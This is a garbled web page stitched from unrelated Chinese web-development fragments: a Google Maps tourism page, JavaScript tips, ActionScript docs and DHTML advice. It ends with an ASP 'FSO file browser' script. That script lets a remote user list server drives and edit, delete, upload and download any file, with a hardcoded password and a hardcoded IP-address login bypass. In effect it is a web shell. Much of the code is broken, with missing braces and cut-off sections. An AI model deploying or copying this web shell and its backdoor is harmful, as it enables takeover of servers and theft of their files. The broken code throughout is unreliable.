if(x>map.getSize().width-120)
x=map.getSize().width-120
if(y>map.getSize().height-100)
y=map.getSize().height-100
//实例化一个地图的位置控件
var pos=new GControlPosition(G_ANCHOR_TOP_LEFT,new GSize(x,y));
//把菜单DIV作为对象传递给地图位置控件
pos.apply(contextmenu);
//把菜单设置为可见
contextmenu.style.visibility="visible";
//为地图添加click
事件
侦听器,当单击地图时,把菜单隐藏
GEvent.addListener(map,"click",
function
(){
contextmenu.style.visiblity="hidden";
function
createMarker(point,baseIcon,html){
var icon=new GIcon(baseIcon);
var marker=new GMarker(point,icon);
GEvent.addListener(marker,"click",
function
(){
marker.openInfoWindowHtml(html);
return marker;
//初始化地图
window.onload=load;
//卸载地图
window.onunload=GUnload;
</script>
</head>
<body onload="load()" onunload="GUnload()" topmargin="0" leftmargin="0">
<b><span style="font-size:15pt">
厦门旅游服务系统
</span></b>
<div id="intro" style="width:700px;"></div>
查询地址:<
input
type="text" id="txtAddress" name="txtAddress" size="40" />
<
input
type="button" value="查询"
onclick
="showLocation();"/>
<table>
<b><span style="font-size:12pt">
提示:单击您的当前位置和每个便民设施标注点通过测量距离选择您要的路线
</span></b></p>
</table>
<table>
<div id="map_canvas" style="width:800px;height:480px;float:left;">
<div id="divOutput" style="float:left;"></div>
<div id="msg"></div>
<table>
<tr><td>
<b><span style="font-size:9pt">
用鼠标拖拉地图中心的红色气球标记就可以显示所在位置的经纬度坐标数据
</span></b>
<td width="50">
<p align="right">
<b span style="font-size:9pt">纬度:</b>
<td id="lat"></td>
<td width="50">
<p align="right">
<b span style="font-size:9pt">经度:</b>
<td id="lng"></td>
</table>
</table>
</body>
</html>
今天反馈过来一个BUG,说一个页面的功能用不了。打开控制台发现报错:object is not a
function
。
感觉很奇怪,这块的功能最新没动过怎么会突然出问题了呢?上线时主流浏览器都测试过了呀。
虽然奇怪,但是还的解决问题。看着代码发现一个radio对象的name属性和一个
function
name重名了。代码如下:
<
input
type="radio" name="test"
onclick
="test();"/>
<form action="">
<
input
type="radio" name="test"
onclick
="test();"/>
-1.动态绑定方法$('JournalList1').attachEvent("onchange", onchangList);
0.数组赋值给下拉菜单state_select.options.length = state_select_num ;
for( i=1 ; ihtml->(head,body)
4.一个浏览器窗口中的DOM顺序是:window->(navigator,screen,history,location,document)
5.得到表单中元素的名称和值:document.getElementById("表单中元素的ID號").name(或value)
6.一个小写转大写的JS: document.getElementById("output").value = document.getElementById("
input
").value.toUpperCase();
7.JS中的值类型:String,Number,Boolean,Null,Object,
Function
8.JS中的字符型转换成数值型:parseInt(),parseFloat()
9.JS中的数字转换成字符型:(""+变量) var a=2;var b=""+a;
10.JS中的取字符串长度是:(length)
11.JS中的字符与字符相连接使用 號.
12.JS中的比较操作符有:==等于,!=不等于,>,>=,<.<=
13.JS中声明变量使用:var来进行声明
14.JS中的判断语句结构:if(condition){}else{}
15.JS中的循环结构:for([initial expression];[condition];[upadte expression]) {inside loop}
16.循环中止的命令是:break
17.JS中的函数定义:
function
function
Name([parameter],...){statement[s]}
18.当文件中出现多个form表单时.可以用document.forms[0],document.forms[1]来代替.
19.窗口:打开窗口window.open(), 关闭一个窗口:window.close(), 窗口本身:self
"fullscreen=no,channelmode=no,toolbar=no,location=no,menubar=no,scrollbas=no,resizable=no,"
20.状態栏的设置:window.status="字符";
21.弹出提示信息:window.alert("字符");
22.弹出確认框:window.confirm();
23.弹出输入提示框:window.prompt();
24.指定当前显示链接的位置:window.location.href="URL"
25.取出窗体中的所有表单的数量:document.forms.length
26.关闭文档的输出流:document.close();
27.字符串追加连接符: =
28.创建一个文档元素:document.createElement(),document.createTextNode()
29.得到元素的方法:document.getElementById()
30.设置表单中所有文本型的成员的值为空:
var form = window.document.forms[0]
for (var i = 0; i<form.elements.length;i ){
if (form.elements.type == "text"){
form.elements.value = "";
31.复选按钮在JS中判断是否选中:document.forms[0].checkThis.checked (checked属性代表为是否选中返回TRUE或FALSE)
32.单选按钮组(单选按钮的名称必须相同):取单选按钮组的长度document.forms[0].groupName.length
33.单选按钮组判断是否被选中也是用checked.
34.下拉列表框的值:document.forms[0].selectName.options[n].value (n有时用下拉列表框名称加上.selectedIndex来確定被选中的值)
35.字符串的定义:var myString = new String("This is lightsword");
36.字符串转成大写:string.toUpperCase(); 字符串转成小写:string.toLowerCase();
37.返回字符串2在字符串1中出现的位置:String1.indexOf("String2")!=-1则说明没找到.
38.取字符串中指定位置的一个字符:StringA.charAt(9);
39.取出字符串中指定起点和终点的子字符串:stringA.substring(2,6);
40.数学函数:Math.PI(返回圆周率),Math.SQRT2(返回开方),Math.max(value1,value2)返回两个数中的最在值,Math.pow(value1,10)返回
value1的十次方,Math.round(value1)四舍五入函数,Math.floor(Math.random()*(n 1))返回隨机数
41.定义日期型变量:var today = new Date();
42.日期函数列表:dateObj.getTime()得到时间,dateObj.getYear()得到年份,dateObj.getFullYear()得到四位的年份,dateObj.getMonth()得
到月份,dateObj.getDate()得到日,dateObj.getDay()得到日期几,dateObj.getHours()得到小时,dateObj.getMinutes()得到
分,dateObj.getSeconds()得到秒,dateObj.setTime(value)设置时间,dateObj.setYear(val)设置年,dateObj.setMonth(val)设置
月,dateObj.setDate(val)设置日,dateObj.setDay(val)设置星期几,dateObj.setHours设置小时,dateObj.setMinutes(val)设置
分,dateObj.setSeconds(val)设置秒 [注意:此日期时间从0开始计]
43.FRAME的表示方式: [window.]frames[n].ObjFuncVarName,frames["frameName"].ObjFuncVarName,frameName.ObjFuncVarName
44.parent代表父亲对象,top代表最顶端对象
45.打开子窗口的父窗口为:opener
46.表示当前所属的位置:this
47.当在超链接中调用JS函数时用:(javascript :)来开头后面加函数名
48.在老的浏览器中不执行此JS:
49.引用一个文件式的JS:
50.指定在不支持脚本的浏览器显示的HTML:
51.当超链和
onCLICK
事件
都有时,则老版本的浏览器转向a.html,否则转向b.html.例:dfsadf
52.JS的內建对象
有:Array,Boolean,Date,Error,EvalError,
Function
,Math,Number,Object,RangeError,ReferenceError,RegExp,String,SyntaxError,TypeErr
or,URIError
53.JS中的换行:\n
54.窗口全屏大小:
function
fullScreen(){ this.moveTo
(0,0);this.outerWidth=screen.availWidth;this.outerHeight=screen.availHeight;}window.maximize=fullScreen;
55.JS中的all代表其下层的全部元素
56.JS中的焦点顺序:document.getElementByid("表单元素").tabIndex = 1
57.innerHTML的值是表单元素的值:如"how are you",则innerHTML的值就是:how are you
58.innerTEXT的值和上面的一样,只不过不会把这种標记显示出来.
59.contentEditable可设置元素是否可被修改,isContentEditable返回是否可修改的状態.
60.isDisabled判断是否为禁止状態.disabled设置禁止状態
61.length取得长度,返回整型数值
62.addBehavior()是一种JS调用的外部函数文件其扩展名为.htc
63.window.focus()使当前的窗口在所有窗口之前.
64.blur()指失去焦点.与FOCUS()相反.
65.select()指元素为选中状態.
66.防止用户对文本框中输入文本:onfocus="this.blur()"
67.取出该元素在页面中出现的数量:document.all.tags("div(或其它HTML標记符)").length
68.JS中分为两种窗体输出:模態和非模態.window.showModaldialog(),window.showModeless()
69.状態栏文字的设置:window.status='文字',默认的状態栏文字设置:window.defaultStatus = '文字.';
70.添加到收藏夹:external.AddFavorite("");
71.JS中遇到脚本错误时不做任何操作:window.onerror = doNothing; 指定错误句柄的语法为:window.onerror = handleError;
72.JS中指定当前打开窗口的父窗口:window.opener,支持opener.opener...的多重继续.
73.JS中的self指的是当前的窗口
74.JS中状態栏显示內容:window.status="內容"
75.JS中的top指的是框架集中最顶层的框架
76.JS中关闭当前的窗口:window.close();
77.JS中提出是否確认的框:if(confirm("Are you sure?")){alert("ok");}else{alert("Not Ok");}
78.JS中的窗口重定向:window.navigate("";);
79.JS中的打印:window.print()
80.JS中的提示输入框:window.prompt("message","defaultReply");
81.JS中的窗口滚动条:window.scroll(x,y)
82.JS中的窗口滚动到位置:window.scrollby
83.JS中设置时间间隔:setInterval("expr",msecDelay)或setInterval(funcRef,msecDelay)或setTimeout
84.JS中的模態显示在IE4 行,在NN中不行:showModalDialog("URL"[,arguments][,features]);
85.JS中的退出之前使用的句柄:
function
verifyClose(){event.returnValue="we really like you and hope you will stay longer.";}}
window.=verifyClose;
86.当窗体第一次调用时使用的文件句柄:onload()
87.当窗体关闭时调用的文件句柄:onunload()
88.window.location的属性: protocol(http:),hostname(
("/a/a.html"),hash("#giantGizmo",指跳转到相应的锚记),href(全部的信息)
89.window.location.reload()刷新当前页面.
90.window.history.back()返回上一页,window.history.forward()返回下一页,window.history.go(返回第几页,也可以使用访问过的URL)
91.document.write()不换行的输出,document.writeln()换行输出
92.document.body.noWrap=true;防止链接文字折行.
93.变量名.charAt(第几位),取该变量的第几位的字符.
94."abc".charCodeAt(第几个),返回第几个字符的ASCii码值.
95.字符串连接:string.concat(string2),或用 =进行连接
96.变量.indexOf("字符",起始位置),返回第一个出现的位置(从0开始计算)
97.string.lastIndexOf(searchString[,startIndex])最后一次出现的位置.
98.string.match(regExpression),判断字符是否匹配.
99.string.replace(regExpression,replaceString)替换现有字符串.
100.string.split(分隔符)返回一个数组存储值.
101.string.substr(start[,length])取从第几位到指定长度的字符串.
102.string.toLowerCase()使字符串全部变为小写.
103.string.toUpperCase()使全部字符变为大写.
104.parseInt(string[,radix(代表进制)])强制转换成整型.
105.parseFloat(string[,radix])强制转换成浮点型.
106.isNaN(变量):测试是否为数值型.
107.定义常量的关键字:const,定义变量的关键字:var
toString(Array.toString 方法)
public toString() : String
返回一个字符串值,该值表示所指定的 Array 对象中的元素。数组中的每一个元素(从索引 0 开始到最高索引结束)均会转换为一个连接字
符串,并以逗号分隔。若要指定自定义的分隔符,请使用 Array.join() 方法。
可用性:ActionScript 1.0;Flash Player 5
String - 一个字符串。
下面的示例创建 my_array,并将其转换为字符串。
var my_array:Array = new Array();
my_array[0] = 1;
my_array[1] = 2;
my_array[2] = 3;
my_array[3] = 4;
my_array[4] = 5;
trace(my_array.toString()); // Displays 1,2,3,4,5.
此示例输出 1、2、3、4、5 作为 trace 语句的结果。
新建:var ary = new Array(); 或 var ary = []; 增加:ary.push(value); 删除:delete ary[n]; 遍历:for ( var i=0 ; i <
ary.length ; ++i ) ary[i];
Tips and Tricks Internet Development Index
--------------------------------------------------------------------------------
As with any type of programming, writing bug-free, efficient scripts that meet your expectations takes a bit of work. The following sections provide some tips and hints to make that work take less time and go more smoothly.
Checking the Internet Explorer Version Number
Canceling a Button Click
Preventing a Document From Being Cached
Using Objects
Replacing Custom Controls with DHTML
Checking the Internet Explorer Version Number
You should always check for the type and version of the client browser, so that your content degrades gracefully if the client browser does not support features on your Web site.
The easiest way to identify a browser and its characteristics (browser code name, version number, language, etc.) in script is through the Dynamic HTML (DHTML)?A HREF="objects/obj_navigator.html">navigator object. You can also access this object and its properties in C++ applications through the IOmNavigator interface.
The userAgent property of the navigator object returns a string that includes the browser and browser version. The following example Microsoft® JScript®
function
runs on most browsers and returns the version number for any Microsoft Internet Explorer browser and zero for all other browsers.
SHOWExample
function
msieversion()
// Return Microsoft Internet Explorer (major) version number, or 0 for others.
// This
function
works by finding the "MSIE " string and extracting the version number
// following the space, up to the semicolon
var ua = window.navigator.userAgent
var msie = ua.indexOf ( "MSIE " )
if ( msie > 0 ) // is Microsoft Internet Explorer; return version number
return parseFloat ( ua.substring ( msie+5, ua.indexOf ( ";", msie ) ) )
return 0 // is other browser
When checking browser version numbers, always check for version numbers greater than or equal to a target version. In this way, your Web site will be be compatible with future versions of the browser. For example, if you have designed your content for the latest version of Internet Explorer, use that version number as a minimum version number.
Note Browsers often have several releases of a browser version. For example, 4.01, 5.0, 5.5 and 6.0b are all different versions of Internet Explorer. The 'b' in 6.0b represents a beta version of Internet Explorer 6.
As of Internet Explorer 5, conditional comments are available as an alternative technique for detecting browser versions. Conditional comments have the advantage of not using a script block, which means that it is not always necessary to use scripting and DHTML when working with conditional comments. When no scripting is used in a Web page, no scripting engine needs to be loaded. Conditional comments are processed during the downloading and parsing phase, so only the content that is targeted for the browser loading the Web page is actually downloaded. Conditional comments can be combined freely with other browser detection techniques. For more information, see About Conditional Comments.
Canceling a Button Click
The following HTML example shows a common scripting mistake related to event handling and canceling the default action.
SHOWExample
<HEAD><TITLE>Canceling the Default Action</TITLE>
<SCRIPT LANGUAGE="JScript">
function
askConfirm()
{ return window.confirm ("Choose OK to follow hyperlink, Cancel to
not.")
</SCRIPT>
<BODYonload="b3.
onclick
=askConfirm">
<!-- Try links with different hookups - should be canceled by "Cancel" to confirm dialog. -->
<BR><A NAME=b1 HREF="http://www.microsoft.com"
onclick
="askConfirm()">1 Without return (won't work)</A>
<BR><A NAME=b2 HREF="http://www.microsoft.com"
onclick
="return askConfirm()">2 With return (works)</A>
<BR><A NAME=b3 HREF="http://www.microsoft.com">3
Function
pointer (works)</A>
</BODY>
</HTML>
The first a element in this example does not work properly. Without the return in the
onclick
燡Script expression, the browser interprets the
function
expression, throws away the resulting value, and leaves the default action unaffected.
The other a elements correctly bind the return value to the event, hence the default action can be canceled when false is returned.
Preventing a Document From Being Cached
You can prevent a document from being cached by adding the following meta tag to the document.
<META HTTP-EQUIV="Expires" CONTENT="0">
Preventing the document from being cached ensures that a fresh copy of the document will always be retrieved from the site, even during the user's current session, regardless of how the user has set the browser's caching options. This is useful if the content of the document changes frequently.
Using Objects
Objects are Microsoft® ActiveX® Controls or other similar components that provide custom capabilities and services for HTML documents. You can add a control to your document using the object element, and you can gain access to the capabilities and services of the control using its properties and methods from script.
When using objects, be aware that DHTML extends every object by providing these additional properties:
align classid code
codeBase codeType
data form
height name
object recordset
type width
If a control has properties with these same names, you will not be able to access the properties unless you preface the name with the object property. For example, assume that an ActiveX control is added to the document using the following:
<OBJECT ID="MyControl" HEIGHT=100 WIDTH=200 CLASSID="clsid: ... ">
</PARAM NAME="width" VALUE="400">
</OBJECT>
In this example, there are two widths: an extended property set within the object element, and a property belonging to the control that is set using the param element. To access these from script, you use the following code.
alert(MyControl.width); // this is Dynamic HTML's property; displays "200"
alert(MyControl.object.width); // this is the object's property; displays "400"
Replacing Custom Controls with DHTML
DHTML provides everything you need to generate animated effects without resorting to custom controls. For example, consider the following script, which is a replacement for the Path control.
SHOWExample
var tickDuration;
tickDuration = 50;
var activeObjectCount;
var activeObjects;
var itemDeactivated;
var tickGeneration;
activeObjects = new Array();
activeObjectCount = 0;
timerRefcount = 0;
itemDeactivated = false;
tickGeneration = 0;
function
initializePath(e) {
e.waypointX = new Array();
e.waypointY = new Array();
e.duration = new Array();
function
addWaypoint(e, number, x, y, duration) {
e.waypointX[number] = x;
e.waypointY[number] = y;
e.duration[number] = duration;
function
compact() {
var i, n, c;
n = new Array();
c = 0;
itemDeactivated = false;
for (i=0; i<activeObjectCount; i++) {
if (activeObjects[i].active == true) {
n[c] = activeObjects[i];
activeObjects = n;
activeObjectCount = c;
function
tick(generation) {
if (generation < tickGeneration) {
// alert("Error "+generation);
return;
//alert("tick: "+generation);
if (itemDeactivated)
compact();
if (activeObjectCount == 0) {
return;
else {
for (i=0; i<activeObjectCount; i++) {
moveElement(activeObjects[i]);
window.setTimeout("tick("+generation+");", tickDuration);
function
start(e) {
if (itemDeactivated)
compact();
activeObjects[activeObjectCount] = e;
activeObjectCount++;
if (activeObjectCount == 1) {
tickGeneration++;
tick(tickGeneration);
function
runWaypoint(e, startPoint, endPoint) {
var startX, startY, endX, endY, duration;
if (e.waypointX == null)
return;
startX = e.waypointX[startPoint];
startY = e.waypointY[startPoint];
endX = e.waypointX[endPoint];
endY = e.waypointY[endPoint];
duration = e.duration[endPoint];
e.ticks = duration / tickDuration;
e.endPoint = endPoint;
e.active = true;
e.currTick = 0;
e.dx = (endX - startX) / e.ticks;
e.dy = (endY - startY) / e.ticks;
e.style.posLeft = startX;
e.style.posTop = startY;
start(e);
function
moveElement(e) {
e.style.posLeft += e.dx;
e.style.posTop += e.dy;
e.currTick++;
if (e.currTick > e.ticks) {
e.active = false;
itemDeactivated = true;
if (e.onpathcomplete != null) {
window.pathElement = e;
e.onpathcomplete()
To use this script in your document, do the following:
Load the script using the src attribute of the script element.
Initialize the paths using the initializePath
function
.
Set the way points using the addWaypoint
function
.
Set the path-complete handlers using the runWaypoint
function
.
The following sample document shows how this works.
SHOWExample
<div id=Item1 style="position: absolute; left: 0; top: 0;">Item1</div>
<div id=Item2 style="position: absolute; left: 0; top: 0;">Item2</div>
<div id=Item3 style="position: absolute; left: 0; top: 0;">Item3</div>
<div id=Item4 style="position: absolute; left: 0; top: 0;">Item4</div>
<div id=Item5 style="position: absolute; left: 0; top: 0;">Item5</div>
<div id=Item6 style="position: absolute; left: 0; top: 0;">Item6</div>
<
input
type=button value="Start"
onclick
="runWaypoint(Item1, 0, 1); runWaypoint(Item2, 0, 1);">
<div id=Debug>Generation</div>
<script src="htmlpath.js">
</script>
<script>
// need to call initializePath on all objects that will be moved with this mechanism
initializePath(Item1);
initializePath(Item2);
initializePath(Item3);
initializePath(Item4);
initializePath(Item5);
initializePath(Item6);
// the 0th waypoint is the initial position for waypoint #1
// syntax is item, waypoint, endx, endy, duration in msecs
addWaypoint(Item1, 0, 0, 0, 0);
addWaypoint(Item1, 1, 200, 200, 2000);
addWaypoint(Item2, 0, 100, 100, 0);
addWaypoint(Item2, 1, 400, 100, 4000);
addWaypoint(Item3, 0, 400, 400, 0);
addWaypoint(Item3, 1, 200, 100, 1000);
addWaypoint(Item4, 0, 0, 0, 0);
addWaypoint(Item4, 1, 200, 200, 2000);
addWaypoint(Item5, 0, 100, 100, 0);
addWaypoint(Item5, 1, 400, 100, 4000);
addWaypoint(Item6, 0, 400, 400, 0);
addWaypoint(Item6, 1, 200, 100, 1000);
function
end
function
() {
// syntax for runWaypoint is Item, start point, end point
runWaypoint(Item3, 0, 1);
runWaypoint(Item4, 0, 1);
runWaypoint(Item5, 0, 1);
runWaypoint(Item6, 0, 1);
function
end
function
2() {
runWaypoint(Item1, 0, 1);
Item1.onpathcomplete = end
function
;
Item6.onpathcomplete = end
function
2;
</script>
</body>
</html>
Show Me
'========================== 版权声明 =========================
'本程序只供在需要特别处理服务器文件时使用,严禁用于非法目的
'由于非正当使用本程序而造成的一切后果及责任自负
'版本: v0.12
'作者: 河北科技大学 rssn | Risingsun,Hebust
'QQ: 126027268
'E-mail: rssn@163.com
'Date: 2006-8-12
'=============================================================
Server.ScriptTimeout=20
Session.Timeout=45 'Session有效时间
Const mss="explorer_" 'Session前缀
Const Password="knowsky" '登录密码
'版权信息
Dim T1,T2,Runtime
T1=Timer()
Dim oFso
Set oFso=Server.CreateObject("Scripting.FileSystemObject")
'-------------------------------------------------------------
'声明函数中所需的全局变量
Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList
NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|"
'-------------------------------------------------------------
Call Main()
Set oFso=Nothing
'======================== Subs Begin =========================
Sub Main()
Select Case Request("page")
Case "img"
Call Page_Img()
Case "css"
Call Page_Css()
Case "loginchk"
Call LoginChk()
Case "logout"
Call Logout()
Case Else:
'"一夫当关,万夫莫开"——用户验证
If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then
Call Login()
Exit Sub
End If
Select Case Request("act")
Case "drive"
Call Drive()
Case "up"
Call DirUp()
Case "new"
Call NewF(Request("fname"))
Case "savenew"
Call SaveNew(Request("fname"))
Case "rename"
Call Rename()
Case "saverename"
Call SaveRename()
Case "edit"
Call Edit(Request("fname"))
Case "saveedit"
Call SaveEdit(Request("fname"))
Case "delete"
Call Deletes(Request("fname"))
Case "copy"
Call SetFile(Request("fname"),0)
Case "cut"
Call SetFile(Request("fname"),1)
Case "download"
Call Download(Request("fname"))
Case "upload"
Call Upload(Request("fname"))
Case "saveupload"
Call Saveupload(Request("fname"))
Case "parse"
Call Parse(Request("fname"))
Case "prop"
Call Prop(Request("fname"))
Case "saveprop"
Call SaveProp(Request("fname"))
Case "pack"
Call Page_Pack()
Case "savepack"
Call Pack(Request("fpath"),Request("dbpath"))
Case "saveunpack"
Call UnPack(Request("fpath"),Request("dbpath"))
Case Else
If Request("fname")="" Then
Call Dirlist(Server.MapPath("./"))
Call Dirlist(Request("fname"))
End If
End Select
End Select
End Sub
'========== Subs =============
'显示系统磁盘信息
Sub Drive()
Dim oDrive,Islight
<title>FSO文件浏览器 - 系统磁盘信息</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
</head>
<table align="center" border="1" width="99% cellspacing="0" cellpadding="3" bordercolor="#6595d6">
<tr><th>FSO文件浏览器 - 系统磁盘信息</th></th>
<table align="center" border="1" width="100%" cellspacing="0" cellpadding="3" bordercolor="#6595d6">
<tr><th width="10%">盘符</th><th width="15%">类型</th><th width="20%">卷标</th><th width="15%">文件系统</th><th width="20%">总容量</th><th width="20%">可用空间</th></tr>
On Error Resume Next
Islight=False
For Each oDrive In oFso.Drives
Response.Write "<tr value="""&oDrive.DriveLetter&":\"" ondblclick=""location.href='?page=fso&fname='+escape(this.value);"""
If Islight Then Response.Write " bgcolor='#EEEEEE'"
Response.Write ">"
Response.Write "<td>"&oDrive.DriveLetter&"</td>"
Response.Write "<td>"&getDriveType(oDrive.DriveType)&"</td>"
Response.Write "<td>"&oDrive.VolumeName&"</td>"
Response.Write "<td>"&oDrive.FileSystem&"</td>"
Response.Write "<td>"&SizeCount(oDrive.TotalSize)&"</td>"
Response.Write "<td>"&SizeCount(oDrive.FreeSpace)&"</td>"
Response.Write "</tr>"&vbCrLf
Islight=Not(Islight)
</table>
</table>
End Sub
Sub NewF(ByVal Fname)
<title>FSO文件浏览器 - 新建</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
<script language="JavaScript">
function
icheck()
if(document.rform.nname.value=="")
alert("请输入合法的文件名!");
return false;
return true;
</script>
</head>
<body bgcolor="#EEEEEE">
<form action="?page=fso&act=savenew&fname=<% =Server.UrlEncode(Fname) %>" name="rform" method="post" onsubmit="return icheck();">
<table align="center" border="1" width="380" cellspacing="0" cellpadding="3" bordercolor="#6595d6">
<tr><th colspan=2>FSO文件浏览器 - 新建</th></tr>
<tr><td align=right>类型:</td><td><
input
type="radio" name="ntype" checked value="0">文件夹 <
input
type="radio" name="ntype" value="1">文件
<tr><td align=right>名称:</td>
<
input
type="text" size="40" name="nname" value="新建">
<tr><td align=center colspan=2><
input
type="submit" class="b" value="提交"> <
input
type="button" class="b" value="关闭"
onclick
="window.close();"></td></tr>
</table>
</form>
</body>
</html>
End Sub
'保存新建
Sub SaveNew(ByVal Fname)
If Not IsFolder(Fname) Then
Response.Write "<script language='javascript'>alert('文件夹不存在!');history.back();</script>"
Exit Sub
End If
Dim FilePath
FilePath=Request("fname")&"\"&Replace(Request.Form("nname"),"\","")
FilePath=Replace(FilePath,"\\","\")
If IsFolder(FilePath) Or IsFile(FilePath) Then
Response.Write "<script language='javascript'>alert('文件或文件夹已存在!');history.back();</script>"
Exit Sub
End If
If Request.Form("ntype")=1 Then
oFso.CreateTextFile FilePath
oFso.CreateFolder FilePath
End If
Response.Write "<script language='javascript'>alert('新建文件夹或文本文件成功!');window.close();</script>"
End Sub
'编辑文件
Sub Edit(ByVal Fname)
If Not IsFile(Fname) Then
Response.Write "<script language='javascript'>alert('您编辑的不是文件或文件不存在!');window.close();</script>"
Exit Sub
End If
Dim oFile,FileStr
Set oFile=oFso.OpenTextFile(Fname,1)
If oFile.AtEndOfStream Then
FileStr=""
FileStr=oFile.ReadAll()
End If
oFile.Close
Set oFile=Nothing
<title>FSO文件浏览器 - 编辑文本文件</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#EEEEEE">
<form name="eform" method="post" action="?page=fso&act=saveedit&fname=<% =Server.UrlEncode(Fname) %>">
<table align="center" border="1" width="99%" height="99%" cellspacing="0" cellpadding="3" bordercolor="#6595d6">
<tr><th>FSO文件浏览器 - 编辑文本文件</th></tr>
<tr><td height="25">文件名: <% =Fname %></td></tr>
<tr><td><textarea name="filestr" style="width:100%;height:100%;"><% =Server.HtmlEncode(FileStr) %></textarea></td></tr>
<tr height="25"><td align="center">
<
input
type="submit" value="保存" class="b"> <
input
type="reset" value="重置"
onclick
="return confirm('确定要重新编辑?');" class="b"> <
input
type="button" class="b" value="关闭"
onclick
="window.close();">
</td></tr>
</table>
</form>
End Sub
'保存编辑文件
Sub SaveEdit(ByVal Fname)
Dim oFile,FileStr
Set oFile=oFso.OpenTextFile(Fname,2,True)
FileStr=Request.Form("filestr")
'Response.Write FileStr
oFile.Write FileStr
oFile.Close
Set oFile=Nothing
EchoBack "保存编辑文件成功!"
End Sub
'复制或剪切文件
Sub SetFile(ByVal Fname,ByVal iMode)
Session(mss & "setfile")=Fname
Session(mss & "setmode")=iMode
Dim ww
If 0=iMode Then
ww="复制"
ww="剪切"
End If
EchoClose ww&"成功,请粘贴!"
End Sub
'粘贴文件或文件夹
Sub Parse(ByVal Fname)
Dim oFile,oFolder
Dim sName,iMode
sName=Session(mss & "setfile")
iMode=Session(mss & "setmode")
If sName="" Then
EchoClose "请先复制或剪切!"
If InStr(LCase(Fname), LCase(sName)) > 0 Then
EchoClose "目标文件夹在源文件夹内,非法操作!"
Exit Sub
End If
'================
If Not IsFolder(Fname) Then
EchoClose "目标文件夹不存在!"
ElseIf IsFile(sName) Then
Set oFile=oFso.GetFile(sName)
If iMode=0 Then
oFso.CopyFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
oFso.MoveFile sName,Replace(Fname&"\"&oFile.Name,"\\","\")
End If
ElseIf IsFolder(sName) Then
Set oFolder=oFso.GetFolder(sName)
If iMode=0 Then
oFso.CopyFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
oFso.MoveFolder sName,Replace(Fname&"\"&oFolder.Name,"\\","\")
End If
EchoClose "源文件或文件夹不存在!"
Exit Sub
End If
'================
EchoClose "复制或移动成功!刷新可查看效果"
End If
Session(mss & "setfile")=""
Session(mss & "setmode")=0
End Sub
'下载文件
Sub Download(ByVal Fname)
Dim oFile
If Not IsFile(Fname) Then
EchoClose "不是文件或文件不存在!"
Exit Sub
End If
Set oFile=oFso.GetFile(Fname)
If InStr(LCase(oFile.Path)&"\",LCase(Server.MapPath("/")))>0 And Not IsScriptFile(oFso.GetExtensionName(oFile.Name)) Then
Dim FileVName
FileVName=Replace(oFile.Path,Server.MapPath("/"),"")
FileVName=Replace(FileVName,"\","/")
If Left(FileVName,1)<>"/" Then
FileVName="/"&FileVName
End If
Response.Redirect FileVName
Exit Sub
End If
If oFile.Size>1048576*100 Then
EchoClose "文件超过100M,可能会造成服务器死机,\n不允许以Stream方式下载!\n请将该文件复制到网站目录以下\n然后以HTTP方式下载"
Exit Sub
End If
Server.ScriptTimeout=10000 '延长脚本超时时间以提供下载
Dim oStream
Set oStream=Server.CreateObject("ADODB.Stream")
oStream.Open
oStream.Type=1
oStream.LoadFromFile(Fname)
Dim Data
Data=oStream.Read
oStream.Close
Set oStream=Nothing
If Not Response.IsClientConnected Then
Set Data=Nothing
Exit Sub
End If
Response.Buffer=True
Response.AddHeader "Content-Disposition", "attachment; filename=" & oFile.Name
Response.AddHeader "Content-Length", oFile.Size
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite Data
Response.Flush
End Sub
'删除文件
Sub Deletes(ByVal Fname)
If IsFile(Fname) Then
oFso.DeleteFile Fname,True
ElseIf IsFolder(Fname) Then
oFso.DeleteFolder Fname,True
EchoClose "文件或文件夹不存在"
Exit Sub
End If
EchoClose "文件删除成功!"
End Sub
'上传文件
Sub Upload(ByVal Fname)
If Not IsFolder(Fname) Then
EchoClose "没有指定上传的文件夹!"
Exit Sub
End If
<title>FSO文件浏览器 - 文件上传</title>
<meta HTTP-EQUIV="Content-Type" content="text/html; charset=GB2312">
<link href="?page=css" rel="stylesheet" type="text/css">
<script language="JavaScript">
function
getSaveName()
var filepath=document.uform.upload.value;
if(filepath.length<1) return;
var filename=filepath.substring(filepath.lastIndexOf("\\")+1,filepath.length);
document.uform.ffname.value=filename;
</script>
</head>
<body bgcolor="#EEEEEE" topmargin=5>
<form name="uform" method="post" action="?page=fso&act=saveupload&fname=<% =Server.UrlEncode(Fname) %>" enctype="multipart/form-data">
<table align="center" border="1" width="380" cellspacing="0" cellpadding="3" bordercolor="#6595d6">
<tr><th colspan="2">FSO文件浏览器 - 文件上传</th></tr>
<tr><td align="right">上传文件:</td><td><
input
type="file" name="upload" size="35" onchange="getSaveName();"></td></tr>
<tr><td align="right">保存为:</td><td><
input
type="text" name="ffname" size="35"> <
input
type="checkbox" name="wmode">覆盖模式</td></tr>
<td colspan=2 align=center>
<
input
type="submit" name="submit" value="上传" style="width:60px" class="b"
onclick
="this.form.action+='&filename='+escape(this.form.ffname.value)+'&overwrite='+this.form.wmode.checked;">
<
input
type="button" value="关闭"
onclick
="window.close();" class="b">
</table>
</form>
</body>
</html>
End Sub
'保存上传文件
Sub Saveupload(ByVal FolderName)
If Not IsFolder(FolderName) Then
EchoClose "没有指定上传的文件夹!"
Exit Sub
End If
Dim Path,IsOverWrite
Path=FolderName
If Right(Path,1)<>"\" Then Path=Path&"\"
FileName=Replace(Request("filename"),"\","")
If Len(FileName)<1 Then
EchoBack "请选择文件并输入文件名!"
Exit Sub
End If
Path=Path&FileName
If LCase(Request("overwrite"))="true" Then
IsOverWrite=True
IsOverWrite=False
End If
On Error Resume Next
Call MyUpload(Path,IsOverWrite)
If Err Then
EchoBack "文件上传失败!(可能是文件已存在)"
EchoClose "文件上传成功!\n" & Replace(fileName, "\", "\\")
End If
End Sub
'文件上传核心代码
